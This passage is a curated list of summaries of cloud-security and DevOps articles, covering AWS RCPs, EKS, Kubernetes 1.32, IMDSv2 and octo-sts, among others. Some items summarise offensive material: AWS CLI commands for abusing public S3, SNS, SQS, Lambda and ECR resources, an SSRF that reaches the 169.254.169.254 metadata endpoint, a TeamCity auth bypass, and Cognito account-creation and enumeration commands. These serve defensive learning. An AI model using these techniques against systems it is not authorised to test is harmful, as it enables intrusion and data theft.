    • What: Org-wide guardrails on who can access your resources, including principals outside the Organization; they only restrict and never grant.
    • Services: S3, STS, SQS, Secrets Manager and KMS at launch.
    • Examples: Enforce TLS (1.3) on S3 org-wide; data perimeter statements; deny sts:AssumeRole unless aws:PrincipalOrgID matches or the caller is an approved vendor; restrict sts:AssumeRoleWithWebIdentity to a GitHub sub like repo:octo-org/*; block S3 deletes even from external accounts.
    • vs SCPs: SCPs do not apply to external principals, RCPs do; RCPs do not travel with an account that moves OU or Org.
    • Pain points: Denials return a generic AccessDenied that does not name the RCP; no dry-run, so review with Access Analyzer and CloudTrail and roll out sandbox-first.

    Takeaway: RCPs make data perimeter and OIDC trust restrictions enforceable in one place. Start with the GitHub OIDC and org-only AssumeRole examples, rolled out gradually.

  • Securely Share AWS Resources Across VPC and Account Boundaries with PrivateLink, VPC Lattice, EventBridge, and Step Functions
    summary

    TL;DR: Jeff Barr (AWS News Blog, December 1, 2024) introduces Resource Gateways and Resource Configurations, built on VPC Lattice and PrivateLink, to share private resources across VPCs and accounts and call them from EventBridge and Step Functions.

    • Resource Gateway: Ingress point into a VPC: choose VPC, private subnets (fixed after creation), IP type and up to five security groups.
    • Resource Configuration: Defines reachable resources by IP, DNS name or ARN: HTTPS endpoints, databases, EC2, EKS services, or on-prem systems over VPN or Direct Connect.
    • Sharing: Via AWS RAM for cross-account; consumers add it to a service network with a VPC endpoint or create an endpoint directly.
    • EventBridge and Step Functions: A ‘Private’ connection references the shared configuration so HTTP tasks and API destinations can call private APIs.
    • Pricing: Existing Step Functions, EventBridge, PrivateLink and VPC Lattice pricing, including per-GB data into the VPC.
    • Availability: 21 regions at launch; private hosted zone support planned.

    Takeaway: Removes Lambda-in-VPC and SQS workarounds for calling private services from serverless workflows. Scope RAM shares and gateway security groups tightly.

  • Use Your On-Premises Infrastructure in Amazon EKS Clusters with Amazon EKS Hybrid Nodes
    summary

    TL;DR: Channy Yun (AWS News Blog, December 1, 2024) introduces EKS Hybrid Nodes: on-prem and edge machines join an EKS cluster whose control plane AWS runs.

    • Networking: Site-to-Site VPN, Direct Connect or other VPN; node and pod CIDRs must be non-overlapping RFC 1918 IPv4; a pod CIDR is needed for webhooks on nodes or a CNI that does not NAT.
    • OS: Amazon Linux 2023, Ubuntu 20.04/22.04/24.04, RHEL 8 and 9; AWS supports the EKS integration, not the OS.
    • CNI: Cilium or Calico must be installed before nodes become Ready; kube-proxy and CoreDNS are installed automatically.
    • Bootstrap: nodeadm install and nodeadm init with a node config file.
    • Credentials: SSM hybrid activations or IAM Roles Anywhere; cluster must use API or API_AND_CONFIG_MAP with an access entry for the hybrid nodes role.
    • Pricing and regions: Cluster hourly rate plus an hourly fee per hybrid node vCPU; all regions except GovCloud (US) and China.

    Takeaway: A managed control plane for on-prem capacity, but you own hardware, OS and node upgrades. Plan CIDRs and the CNI before the first node.

  • Exploiting Public AWS Resources: CLI Attack Playbook
    summary

    TL;DR: Eduard Agavriloae’s Hacking The Cloud playbook gives AWS CLI commands for exploiting 12 resource types made public through misconfigured resource-based policies.

    • Black-box discoverable: S3 buckets (three variants), AMIs, EBS snapshots, RDS snapshots, IAM roles, SSM documents, CloudFront.
    • Not black-box discoverable: SNS topics, SQS queues, private API Gateways, Lambda functions, ECR repositories.
    • S3: aws --no-sign-request s3 ls s3://BUCKET then s3 cp.
    • SNS and SQS: sns list-subscriptions-by-topic, sns subscribe, sns publish; sqs send-message, receive-message, purge-queue.
    • Lambda and ECR: aws lambda invoke --function-name <full ARN> cross-account; aws ecr-public get-login-password into docker login, then inspect image history for secrets.
    • Roles and private APIs: sts assume-role against misconfigured trust policies; private API Gateways tested from EC2 with an execute-api interface endpoint.
    • Tools: CloudShovel (scan AMIs for secrets) and coldsnap (EBS snapshots).

    Takeaway: Run the same commands against your own accounts, or use IAM Access Analyzer, to find public snapshots, AMIs and over-permissive SNS, SQS and Lambda policies.

  • AWS re:Invent 2024 Security Talks
    summary

    (Could not fetch full text.)

    TL;DR: A 63-video YouTube playlist by the AWS Security Digest channel collecting AWS re:Invent 2024 security session recordings (uploaded by AWS Events).

    • Size: 63 videos, about 7,156 views at fetch time.
    • Identity and root: SEC232 ‘Secure by design: Enhancing the posture of root with central control’, SEC221 identity security, SEC346 application authorization, SEC207 Cedar policies.
    • Detection and IR: SEC219 GuardDuty threats, SEC321 detection and response innovations, SEC313 ‘Responding to cloud incidents: Tales from the front lines’, SEC360 AWS Security Incident Response.
    • Secrets and network: SEC204 and SEC234 secrets management, SEC322 least-privilege egress controls, SEC358 Verified Access for non-HTTP protocols, SEC341 enterprise PKI.
    • Platform: KUB315 securing EKS workloads, DOP203 governance with IaC, DEV344 S3 red team vs blue team, DEV401 security invariants, CDN303 ‘I didn’t know AWS WAF did this’.
    • AI: SEC323 AWS approach to secure generative AI, SEC403 generative AI for security, AIM360 Bedrock security and privacy.
    • Source caveat: Based on the playlist page’s title and video list only; no transcripts were read.

    Takeaway: Pick by session code rather than watching in order. SEC313, SEC322, DEV401 and KUB315 are the most hands-on for cloud security engineers.

  • Announcing Amazon EKS Auto Mode
    summary

    TL;DR: Announced December 1, 2024 at re:Invent, EKS Auto Mode has AWS manage compute, networking and storage for EKS clusters, including instance selection, scaling and OS patching.

    • Compute: AWS picks EC2 instances for workloads and scales them with demand.
    • Operations: AWS provisions, operates and upgrades the instances in your account with AWS-controlled access and lifecycle, including OS patches.
    • Security: Nodes are described as ephemeral to limit risk; maximum node lifetime is not stated on the page.
    • Pricing: No upfront fee; a management charge on provisioned compute on top of normal EC2 cost (rate not stated).
    • Requirements: Kubernetes 1.29+, via EKS API, console or IaC.
    • Regions: All except GovCloud (US) and China.

    Takeaway: Removes most node and add-on operations for teams that do not want to run Karpenter, CNI and CSI themselves. Compare the management fee against your current ops effort before migrating.

  • Announcing Node Health Monitoring and Auto-Repair for Amazon EKS
    summary

    TL;DR: Since December 16, 2024, EKS offers a node monitoring agent that detects Kubernetes-specific node health problems and node auto-repair that replaces unhealthy nodes.

    • Monitoring: The agent continuously checks EC2 worker nodes for Kubernetes-specific health issues (specific checks not listed on the page).
    • Auto-repair: EKS acts on unhealthy nodes, including replacing them.
    • Enable: Install the node monitoring agent add-on; enable auto-repair in managed node group APIs or console; both are on by default in EKS Auto Mode.
    • Cost: No additional charge.
    • Regions: All except GovCloud (US) and China.

    Takeaway: Free and low effort; enable it on managed node groups. Ensure PDBs and replica counts let workloads survive an automatic node replacement.

  • Kubernetes v1.32: Penelope
    summary

    TL;DR: Kubernetes v1.32 ‘Penelope’, released December 11, 2024, ships 44 enhancements: 13 stable, 12 beta and 19 alpha.

    • Name: From Penelope in the Odyssey, who wove by day and unpicked by night, like releases adding and removing features; also marks the end of Kubernetes’ tenth year.
    • Stable: Structured Authorization Configuration, bound service account token improvements, Custom Resource field selectors, sizing memory-backed volumes, auto-removing StatefulSet PVCs, Memory Manager, status.hostIPs, custom profiles in kubectl debug.
    • Beta: Job managedBy (for Kueue), anonymous auth limited to endpoints like /healthz, /livez, /readyz, recovery from volume expansion failure, VolumeGroupSnapshot, DRA structured parameters, label and field selector authorization.
    • Alpha: Async scheduler preemption, CEL-based Mutating Admission Policies, pod-level resource specs, zero-second PreStop sleep, /statusz and /flagz endpoints.
    • Removals: Old DRA implementation (KEP 3063) withdrawn; flowcontrol.apiserver.k8s.io/v1beta3 removed, use v1 (available since 1.29).

    Takeaway: Before upgrading, migrate any FlowSchema or PriorityLevelConfiguration manifests to v1. Consider the beta option to restrict anonymous auth to health endpoints as a quick hardening win.

26.06.2024

  • Docs as Code Is a Broken Promise
    summary

    TL;DR: Sarah Moir argues that docs-as-code is usually adopted as a toolset without the processes behind it, so the promised quality and collaboration benefits rarely arrive.

    • Tooling drift: Writers can use any editor or the GitHub UI, so spell checks and style linting run unevenly.
    • Git burden: Git is complex for writers; mistakes can leave a clone or branch broken and force a fresh start.
    • Unenforced process: Nothing stops contributors ignoring publishing and Git practices; the author’s squash-merge setting was silently changed by GitHub and cluttered main for weeks.
    • Checks: Merge gates and builds need engineering time docs teams rarely have; doc PRs can wait on unrelated product tests.
    • Review: Reviewers see raw markup, not rendered pages, leading to confused comments.
    • Alternatives: No full fix; suggests choosing how much of the practice to adopt, newer CMSes (ReadMe, Heretto, Paligo), and a writer-efficiency community.

    Takeaway: If you run docs in Git, invest in the guardrails (linting, preview builds, branch protection), not just the repo. Otherwise you get developer overhead without the benefits.

  • Who Touched My GCP Project? Understanding the Principal Part in Cloud Audit Logs, Part 1
    summary

    TL;DR: Gavriel Fried (Mitiga, April 9, 2024) explains how GCP Cloud Audit Logs record who performed an action, across principal types and impersonation chains, for incident responders.

    • Fields: authenticationInfo.principalEmail (may be redacted), principalSubject (often principal://iam.googleapis.com/...), serviceAccountKeyName (key used), serviceAccountDelegationInfo[] (delegation history), thirdPartyPrincipal, authoritySelector.
    • Principals: Users; user-managed service accounts (up to 10 keys), built-in ones like the Default Compute Engine SA, Google-managed ones; service agents such as <project_number>@cloudservices.gserviceaccount.com; workload identities.
    • Key activation: gcloud auth activate-service-account --key-file=... shows the SA in principalEmail with serviceAccountKeyName set.
    • Impersonation: GenerateAccessToken with Token Creator permissions creates no key; chains like --impersonate-service-account=SA1,SA2,SA3 appear under serviceAccountDelegationInfo and metadata.identityDelegationChain.
    • Permissions: iam.serviceAccounts.getAccessToken for one hop, iam.serviceAccounts.implicitDelegation for longer chains.
    • VMs: Activity from a VM shows the attached SA, with the Default Compute Engine account in delegation info.

    Takeaway: When investigating GCP, walk the delegation chain back to the original human or external principal; principalEmail alone often names only the last service account.

  • IAM Is the Worst
    summary

    TL;DR: Mat Duggan (March 15, 2024) argues cloud IAM in AWS and especially GCP has become too complex for anyone to know what access exists, and proposes usage-based right-sizing instead of guessing least privilege up front.

    • AWS complaints: Effective access depends on many overlapping layers; role names mislead; working setups end up as custom roles full of unused permissions.
    • GCP complaints: Basic roles are too broad, while 1,600+ predefined roles change constantly and carry launch-stage labels; custom roles cannot combine predefined roles.
    • Examples: roles/datastore.viewer vs roles/datastore.keyVisualizerViewer; whether roles/datastore.backupsAdmin needs roles/datastore.backupSchedulesAdmin; custom roles where about 90% of permissions go unused.
    • Proposal: Start broad, record used permissions, then automatically remove unused ones every 30 to 90 days with GCP role recommendations or AWS Access Advisor.
    • Elevation: Temporary, expiring permissions on request or via on-call status.

    Takeaway: A useful argument for data-driven least privilege. Use Access Advisor or IAM Recommender output to prune roles on a schedule instead of hand-crafting policies.

  • Leveraging Nuclei Templates to Identify Risks and Threats in Critical Cloud Applications
    summary

    TL;DR: Ofir Yakobi (Orca Security, April 3, 2024) shows how Orca used Nuclei templates, some AI-generated, to detect risks in two deliberately vulnerable cloud test environments, and how the templates feed Orca’s external scanning.

    • SSRF case: An Azure-hosted app behind Application Gateway; setting X-Forwarded-Host to 169.254.169.254 reached the instance metadata endpoint. The template matches ‘compute’ and ‘resourceGroupName’ in the response.
    • TeamCity case: CVE-2024-27198 auth bypass on a TeamCity server older than 2023.11.4 on EC2, where a crafted jsp parameter created an admin account. The template fetches /login.html and regex-matches the version, not the bypass itself.
    • AI: Templates generated from text prompts with Nuclei’s AI platform.
    • Integration: Orca runs AI-generated and manual templates in external scans, combined with asset inventory and prioritized by exposure, privileged identities and sensitive data access.
    • Limits: Only two example templates; no template count given.

    Takeaway: Version-check templates are cheap but only flag likely exposure. Pair external Nuclei scans with patching and metadata-endpoint protections such as IMDSv2.

  • Terraform 1.8 Provider Functions for AWS, Google Cloud, and Kubernetes
    summary

    TL;DR: HashiCorp blog post (April 2024) announcing that provider-defined functions, new in Terraform 1.8, are generally available in the AWS, Google Cloud and Kubernetes providers.

    • Requirements: required_version >= 1.8.0 and the provider declared in required_providers.
    • Syntax: provider::<local_name>::<function>(), e.g. provider::aws::arn_parse(arn).
    • AWS (v5.40): arn_parse returns an object of ARN components (.account_id, region); arn_build(partition, service, region, account, resource) assembles an ARN string.
    • Google Cloud (v5.23): name_from_id, location_from_id, project_from_id parse resource IDs; region_from_zone("us-west1-a") returns us-west1.
    • Kubernetes (v2.28): manifest_decode turns YAML into an object for kubernetes_manifest; manifest_decode_multi decodes multi-document YAML into a list for for_each.
    • Use cases: Transforming and parsing combined data, building identifiers and simplifying variable validation.

    Takeaway: Replace split()/regex hacks on ARNs, GCP IDs and YAML with provider functions once you are on Terraform 1.8 and the listed provider versions.

  • Private, Secure, and Seamless Connectivity to Cloud SQL Using Private Service Connect
    summary

    TL;DR: Google Cloud blog post on using Private Service Connect (PSC) to reach Cloud SQL (MySQL, PostgreSQL and now GA for SQL Server) privately, as an alternative to VPC-peering-based Private Service Access.

    • Setup: Create a Cloud SQL instance with PSC enabled, create a PSC endpoint in your VPC pointing at the instance’s service attachment URI, optionally allowlist consumer projects, then connect via internal IP, DNS, Cloud SQL Auth Proxy or Language Connectors.
    • Patterns: One endpoint per VPC; read replicas are separate instances and each needs its own endpoint; on-prem via Interconnect/VPN; PSC global access for cross-region within a VPC.
    • IP usage: One IP per endpoint, versus PSA reserving a whole subnet range per region.
    • Firewalling: PSC allows granular rules; PSA needs a whole range allowlisted.
    • Quotas: VPC peering quotas that limit PSA scaling do not apply to PSC.
    • Multi-tenant: The same instance can be exposed into different VPCs with different endpoints, useful for SaaS.

    Takeaway: For multi-VPC or multi-project access to Cloud SQL, PSC avoids peering sprawl and wide firewall ranges. Remember replicas need their own endpoints.

  • Go Performance from Version 1.0 to 1.22
    summary

    TL;DR: Ben Hoyt (April 2024) benchmarks his GoAWK interpreter compiled with every Go release from 1.0 to 1.22, following his earlier 1.2-to-1.18 comparison.

    • Benchmarks: countwords (word frequency over a 10x King James Bible, string and I/O heavy) and sumloop (10 million-iteration tight loop); best of three runs on an x86-64 Linux laptop.
    • Overall gain: countwords is about 8x faster on Go 1.22 than 1.0; sumloop about 24x faster.
    • Big jumps: Largest gains in Go 1.3, 1.5, 1.7 and 1.12; later releases bring smaller incremental speedups.
    • Regression: Go 1.2 slowed countwords (7.5s in 1.1 to 25.5s in 1.2), likely the stack hot-split issue; 1.3 fixed it with contiguous stacks (2.8s).
    • PGO: Profile-guided optimisation (Go 1.20+) gave about 2% on countwords and 7% on sumloop on 1.22, with binaries about 5% larger.
    • Binary size: Fairly stable apart from the jump in 1.2.

    Takeaway: Upgrading Go is a nearly free performance win, and PGO is worth a try for a few percent at a small size cost.

  • Redka: Redis Re-Implemented with SQLite
    summary

    TL;DR: Redka by nalgeon is a re-implementation of core Redis on top of SQL storage (SQLite or PostgreSQL), compatible with the Redis API and the RESP wire protocol. BSD-3-Clause.

    • Data types: Strings, lists, sets, hashes and sorted sets, plus key management, server/connection and transaction commands.
    • Modes: Standalone Redis-compatible server, or a Go module used in-process (also as an in-process server for tests).
    • Storage: SQLite or PostgreSQL backends; data is not limited to RAM.
    • Extras: ACID transactions and SQL views over the data for analysis and reporting.
    • Performance: The README says tens of thousands of operations per second and states it is not about raw performance; benchmarks live in a separate doc.
    • Status: In maintenance mode with no new features planned; described as ready for testing and non-critical production.

    Takeaway: Handy as a Redis stand-in for tests or small apps where you want durable, SQL-queryable data. Do not use it where Redis latency or throughput matters.

  • index_advisor: PostgreSQL Index Advisor
    summary

    TL;DR: index_advisor from Supabase is a PostgreSQL extension that takes a query and recommends indexes that would lower its estimated cost.

    • Install: Requires the hypopg extension; sudo make install, then create extension if not exists index_advisor cascade;.
    • Usage: select * from index_advisor('select book.id from book where title = $1'); returns e.g. CREATE INDEX ON public.book USING btree (title).
    • Output: startup_cost_before/after, total_cost_before/after (jsonb), index_statements (text[]) and errors (text[]).
    • Features: Handles generic parameters ($1, $2), materialized views, and resolves tables and columns hidden behind views; join queries can yield several suggestions.
    • Tests: make install; make installcheck.
    • Limits: Costs are planner estimates, so suggested indexes are not guaranteed to speed up real execution; write and storage overhead are not considered.

    Takeaway: A quick way to sanity-check slow queries from pg_stat_statements. Validate suggestions with EXPLAIN ANALYZE before creating them in production.

  • State of DevSecOps
    summary

    TL;DR: Datadog’s State of DevSecOps report, built from telemetry across its customers’ applications, cloud workloads and CI pipelines. The page now carries a newer edition than the one linked in 2024; figures below are from the current page.

    • Exploitable vulns: 87% of organisations have at least one exploitable vulnerability, affecting 40% of services; Java services are most affected (59%).
    • EOL runtimes: 10% of services run an end-of-life language or runtime version; those had exploitable vulns 50% of the time versus 37% otherwise.
    • Dependency lag: The median dependency is 278 days behind its latest major version (Java 492, Ruby 357); services deployed less than monthly lag 295 days versus 172 for daily deploys.
    • Too-fast updates: 50% of organisations adopt third-party libraries within a day of release; 1.6% of npm-using orgs used at least one malicious dependency in the past year.
    • GitHub Actions: Only 4% pin all Marketplace actions to hashes, 71% never pin, and 2% run a previously compromised action unpinned.
    • Prioritisation: Only 18% of critical dependency vulns stay critical after runtime-context severity adjustment.
    • Source caveat: The report edition has changed since the link was saved; numbers may differ from the 2024 version.

    Takeaway: Pin Actions by commit SHA, keep dependencies current but with a short cooling-off period, and use runtime context to triage CVEs instead of paging on CVSS.

  • The End of GitHub PATs: You Can’t Leak What You Don’t Have
    summary

    TL;DR: Matt Moore (Chainguard CTO, April 2024) introduces Octo STS, a GitHub App that acts as a Security Token Service so workloads trade OIDC tokens for short-lived GitHub tokens instead of using PATs.

    • Problem: Cross-repo access, PRs that must trigger Actions, org-level changes and automation outside Actions forced long-lived PATs, deploy keys or App private keys, which get reused and over-scoped.
    • Design: Modeled on AWS STS and GCP federation; trust policies live in the target repo at .github/chainguard/{name}.sts.yaml, or in the org .github repo for org-wide policies.
    • Policy fields: Identity rules on issuer/subject, claim_pattern to match claims such as workflow_ref, and a repository list for org-level policies.
    • Flow: Caller gets an OIDC token (GitHub Actions or another IdP like a Google service account), sends it to Octo STS, which checks the policy and returns a short-lived scoped token.
    • Limits: The App holds a superset of permissions it can hand out; its signing key is long-lived but kept in KMS for signing only; only listed permissions can be federated.

    Takeaway: If your CI still carries GitHub PATs, Octo STS (or the same pattern) removes the static secret entirely. Lock down who can edit the policy files, since they now grant access.

  • NSA Publishes Guidance for Strengthening AI System Security
    summary

    (Could not fetch full text.)

    TL;DR: NSA press release (15 April 2024) announcing the AI Security Center’s first joint Cybersecurity Information Sheet, Deploying AI Systems Securely, written with CISA, FBI and Five Eyes partners.

    • Co-authors: NSA AISC with CISA, FBI, Australia’s ACSC, Canada’s Cyber Centre, New Zealand’s NCSC and the UK NCSC.
    • Audience: Organisations deploying and operating AI systems built by someone else, not AI developers.
    • Goals: Protect confidentiality, integrity and availability of AI systems, mitigate known vulnerabilities, and provide controls to detect and respond to malicious activity.
    • Structure: Three areas: secure the deployment environment, continuously protect the AI system, and secure AI operation and maintenance.
    • Example controls: Strict access controls, regular audits and penetration tests, logging and monitoring, patching, user training, high availability and disaster recovery planning.
    • Related: Builds on the earlier joint Guidelines for Secure AI System Development and Engaging with Artificial Intelligence; aligns with CISA CPGs and NIST CSF.
    • Source caveat: nsa.gov returned 403; summary based on CISA’s alert and news coverage found via search.

    Takeaway: A reasonable checklist when putting a third-party model or LLM service into production. Treat the model like any other high-value workload: harden the environment, control access, and log everything.

  • Copilot-For-Security: Community Repository for Microsoft Security Copilot
    summary

    TL;DR: Microsoft’s community repository for Security Copilot (formerly Copilot for Security), the generative-AI assistant for security and IT operations. It holds samples, not the product itself. The repo now redirects to Azure/Security-Copilot.

    • Contents: Plugin samples, Logic Apps, promptbook samples, sample prompts, monitoring assets, customer guides and technical workshops.
    • Docs: Official product documentation is linked from the README, not hosted in the repo.
    • Contributing: Fork, branch, PR; a CLA bot checks each pull request and automated checks run before review.
    • License: MIT.
    • Activity: At capture, about 1,217 commits, 649 stars, 280 forks and 45 open pull requests.

    Takeaway: Useful if you run Security Copilot and want ready-made plugins and promptbooks to adapt. Review community plugins before connecting them to production data sources.

  • Integrate Kubernetes Policy-as-Code Solutions into Security Hub
    summary

    TL;DR: AWS Security Blog post (Joaquin Manuel Rinaudo, April 2024) with a sample solution that pushes Kyverno or OPA Gatekeeper policy violations from EKS clusters into AWS Security Hub.

    • Architecture: A scheduled Lambda runs every 10 minutes, authenticates to each EKS cluster with its IAM role via the Kubernetes Python client, reads policy reports or Gatekeeper constraint status, and sends active violations to Security Hub.
    • Lifecycle: Findings that are resolved in the cluster are archived in Security Hub.
    • Access: kube-setup.sh creates a read-only ClusterRole bound to read-only-group, mapped via EKS access entries (default) or aws-auth.
    • Deploy: Configure parameters.json (policy type, clusters, optional subnet and security group), run deploy.sh from the delegated admin account; cleanup.sh removes it.
    • Demo: Kyverno policy requiring a namespace label plus a noncompliant namespace to generate a finding.
    • Limits: Gatekeeper output is capped by the constraint violations limit (raise with --constraint-violations-limit); private API endpoints need subnet and SG settings; it is a sample, not a supported product.

    Takeaway: A simple way to get Kubernetes admission and audit findings into the same place as the rest of your AWS findings. Fine as a starting point for multi-account EKS fleets.

  • From Ground Zero to Production: Go’s Journey at Google
    summary

    TL;DR: Yves Junqueira, a former Google SRE and early Go adopter, recounts (March 2024) how Go went from an experiment to a production platform inside Google.

    • First tools: A crawler gathering performance stats from thousands of servers to monitor Bigtable health for Google+.
    • Core libraries: Go support for internal RPC (Stubby), auth (LOAS), naming (Chubby) and Blaze build rules.
    • Automation: A Bigtable drain system that shifts traffic away from unhealthy clusters through the global load balancer, using a Chubby-based master election library.
    • First user-facing service: A JID conversion service at hundreds of thousands of QPS; versus Java it used more CPU but had much shorter GC pauses.
    • Server toolkit: An internal library (not a framework) adding logging, load shedding and traffic management without changing how code looks.
    • Adoption: Social SRE moved tooling from Python to Go, and SRE leadership later recommended Go over Python for production work.
    • Lessons: Typed, compiled code eases long-lived tool maintenance; automated draining can cascade; health checks that are too strict spread outages; Hyrum’s law.

    Takeaway: A first-hand history plus practical SRE lessons on automation failure modes. Worth reading if you build control-plane tooling.

  • The Kubenomicon: Offensive Kubernetes Attack Techniques and Mitigations
    summary

    TL;DR: The Kubenomicon is an open, offensive-focused knowledge base of Kubernetes attack techniques, each paired with guidance on how to defend against it.

    • Structure: ATT&CK-style matrix inspired by Microsoft’s Kubernetes Threat Matrix, adding the exploitation and remediation detail that matrix lacks.
    • Tactics: Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection and Impact.
    • Fundamentals: Background pages on nodes, RBAC, etcd, secrets and other components.
    • Contributing: Community pull requests to the GitHub repo; a contributing page is linked.
    • Related: Credits Microsoft’s matrix, the RedGuard Kubernetes threat matrix and HackTricks Kubernetes.

    Takeaway: A good map for Kubernetes threat modelling or red-team prep. Use the per-technique defences as a hardening checklist.

  • Our Journey Migrating to AWS IMDSv2
    summary

    TL;DR: Archie Gunasekara (Slack Cloud Foundations, December 2023) describes how Slack moved roughly 60,000 EC2 instances across 17 regions and hundreds of accounts from IMDSv1 to IMDSv2.

    • Discovery: CloudWatch MetadataNoToken metric joined with account, owner and Chef role data by an imds-cw-metric-collector app, fed to Prometheus dashboards to chase service owners.
    • Finding callers: AWS ImdsPacketAnalyzer packaged as a .deb in Slack’s APT repo; Ubuntu 18.04 hosts needed lsof and nethogs instead.
    • Client fixes: Updated bash scripts, AWS CLI and SDKs so they use tokens.
    • Terraform: Shared modules default http_tokens = "required" unless the account is on an accounts_using_imdsv1 exclusion list.
    • SCPs: Deny ec2:RunInstances without MetadataHttpTokens = required and deny ec2:ModifyInstanceMetadataOptions, with listed exemptions.
    • Enforcement: EventBridge plus Lambda Slack alerts on IMDSv1 launches; an EKS-hosted IMDSv1 Terminator flips existing instances to IMDSv2 via a cross-account role.
    • Gotchas: SCPs do not apply to the management account or service-linked roles (e.g. Auto Scaling); launch templates cannot be gated on ec2:Attribute/HttpTokens; some dev instances broke when v1 was turned off.

    Takeaway: A practical playbook for IMDSv2 at fleet scale: measure with MetadataNoToken, fix clients, default in IaC, then enforce with SCPs and auto-remediation.

  • AWS Monitoring with EventBridge
    summary

    TL;DR: Andreas Wittig (cloudonaut, March 2023) lists AWS events worth alerting on via EventBridge rules routed to SNS, with Terraform examples.

    • Security: Root user console sign-ins (via CloudTrail).
    • Platform: AWS Health events for outages and breaking changes.
    • Compute: EC2 Auto Scaling failed launches/terminations and instance refreshes; ECS tasks stopped with non-zero exit codes.
    • Data: Failed EBS snapshots; failed AWS Backup backup, copy and restore jobs.
    • Ops: SSM Automation executions that fail or time out; Elastic Beanstalk warning/error status changes.
    • Supply chain/certs: ECR scan findings (critical/high/medium/undefined); ACM certificates nearing expiry.
    • Routing: Service emits event, EventBridge rule pattern-matches, target is an SNS topic that emails, texts or calls HTTPS endpoints.
    • Tooling: aws_cloudwatch_event_rule examples from the open-source marbot-io/terraform-aws-marbot-monitoring-basic module; marbot is the author’s commercial product.

    Takeaway: A cheap baseline alerting layer most accounts lack. Copy the event patterns, especially root sign-in and AWS Health.

  • Statusnook: Deploy a Status Page and Start Monitoring Endpoints in Minutes
    summary

    TL;DR: Statusnook (goksan) is a self-hosted status page with built-in endpoint monitoring, written in Go with htmx and SQLite. MIT licensed.

    • Install: curl -fsSL https://get.statusnook.com | sudo bash for standalone with managed TLS (needs ports 80/443); add -- -port 8000 behind a reverse proxy.
    • Docker: docker run -d -p 127.0.0.1:8000:8000 -v statusnook-data:/app/statusnook-data --restart always goksan/statusnook, or the provided compose.yaml.
    • Hosting templates: DigitalOcean, Vultr, Railway and Zeabur one-click deploys; prebuilt amd64/arm64 Linux binaries.
    • Config: Web UI or YAML, editable in settings or pushed via GitHub.
    • Features: Status page, monitors with logs, notifications view; the README does not list check types or notification channels.
    • Maturity: Small project (22 commits on main at capture, about 988 stars).

    Takeaway: A lightweight option for a status page plus uptime checks on one box. Host it outside the infrastructure it monitors.

  • Cognito Scanner: Script Implementing Cognito Attacks Such as Account Oracle and Privilege Escalation
    summary

    TL;DR: Cognito Scanner from Padok is a Python CLI that tests AWS Cognito user pools and identity pools for common misconfigurations. Apache-2.0.

    • Unwanted account creation: Signs up users when self-registration should be disabled: cognito-scanner account-creation --region=... --client_id=... --username=... --password=... --user_attributes=....
    • Account oracle: Enumerates existing usernames from response differences: cognito-scanner account-oracle --client_id=... --region=... --file=usernames.txt.
    • Identity pool escalation: Uses user and identity pool IDs to obtain temporary AWS credentials with more privilege than intended.
    • Inputs: App client ID (all attacks), user pool ID and identity pool ID (escalation), region and test credentials.
    • Install: pip install cognito-scanner or build from source; Python 3.

    Takeaway: Run it against your own Cognito-backed apps: disable public sign-up if unused, enable user-existence error prevention, and scope authenticated and unauthenticated identity pool roles tightly.

  • Exploit Education: Resources for Learning Vulnerability Analysis and Exploit Development
    summary

    TL;DR: Exploit Education, by Andrew Griffiths, offers free downloadable VMs for learning vulnerability analysis, exploit development, debugging and binary analysis.

    • Nebula: Beginner Linux privilege escalation, scripting-language bugs and file system race conditions (levels 00-19).
    • Phoenix: Stack, format string, heap, network and final levels on old Linux without modern mitigations; 32- and 64-bit, x86 and ARM. Successor to Protostar.
    • Fusion: Advanced memory corruption, format string and heap challenges against modern protections (levels 00-14).
    • Main Sequence: The Ruxcon 2012 CTF: tooling, binary analysis, basic crypto, client-side exploits, password cracking and web.
    • Protostar: Archived; replaced by Phoenix.
    • Downloads: VM images are linked from the site’s downloads page.

    Takeaway: A classic progression for learning memory corruption: start with Nebula, then Phoenix, then Fusion.

  • aws-scps-for-sandbox-and-training-accounts: Example SCPs for Sandbox and Training Accounts
    summary

    TL;DR: A small collection of example AWS Service Control Policies from welldone-cloud for locking down sandbox and training accounts. MIT licensed.

    • Account baseline: scp-deny-changing-account-baseline-configuration.json blocks changes to baseline settings such as contacts, billing and tax.
    • Financial commitments: scp-deny-making-agreements-purchases-and-reservations.json blocks agreements, purchases and reservations with long-term cost.
    • Central IAM: scp-deny-modifying-central-iam-resources.json protects centrally managed IAM resources.
    • Regions: scp-deny-using-other-regions.json restricts activity to allow-listed regions.
    • Services: scp-deny-using-other-services.json restricts to an allow-listed set of services.
    • Caveats: Starting points only; adapt before attaching in AWS Organizations. The README suggests aws-nuke for resetting accounts and links further SCP examples (AWS docs, Wiz posts).

    Takeaway: Attach region, service and purchase guardrails to any sandbox OU before handing out accounts; pair with periodic aws-nuke cleanup.

  • docker-phobia: Analyze Docker Image Size
    summary

    TL;DR: docker-phobia by remorses is a Go CLI that analyses a Docker image and shows its contents as a treemap so you can see what makes it large.

    • How it works: Uses dive’s internal API to pull and analyse the image, writes a JSON of file sizes, starts a local server on port 8080 and opens docker-phobia.vercel.app to render it.
    • Visualisation: Rectangles are files and folders sized by bytes; colours indicate layers, similar shades mean nearby layers.
    • Install: curl -sf https://goblin.run/github.com/remorses/docker-phobia | sh or go install github.com/remorses/docker-phobia@latest.
    • Usage: docker-phobia for an interactive image picker, or docker-phobia node:18-slim.
    • Roadmap: Hover tooltips, versioned releases, shareable treemaps by image SHA.

    Takeaway: Faster than scrolling dive’s tree when hunting for bloat. Note the rendering happens on a hosted web page, so check what data leaves your machine.

  • octo-sts: GitHub App That Acts as a Security Token Service for the GitHub API
    summary

    TL;DR: octo-sts is a GitHub App (started by Chainguard) that works as a Security Token Service: OIDC-bearing workloads exchange their token for a short-lived, policy-scoped GitHub token, removing the need for PATs.

    • Trust policies: .github/chainguard/{name}.sts.yaml in the target repo, or in the org .github repo for org-wide policies; directory configurable via OCTOSTS_POLICY_DIR.
    • Policy fields: issuer, subject or subject_pattern, claim_pattern, permissions (e.g. contents: read), repositories/repository_ids for org policies, optional app/app_pattern. Regexes match the whole value.
    • In Actions: Use octo-sts/action with id-token: write, inputs scope (e.g. my-org/my-repo) and identity (policy name); output token for GH_TOKEN.
    • Permissions: The App requests a superset; issued tokens carry only the policy’s scopes.
    • Org controls: trusted-token-issuers.yaml allowlist with enforce or audit mode; protect the policy repo with branch protection and CODEOWNERS.
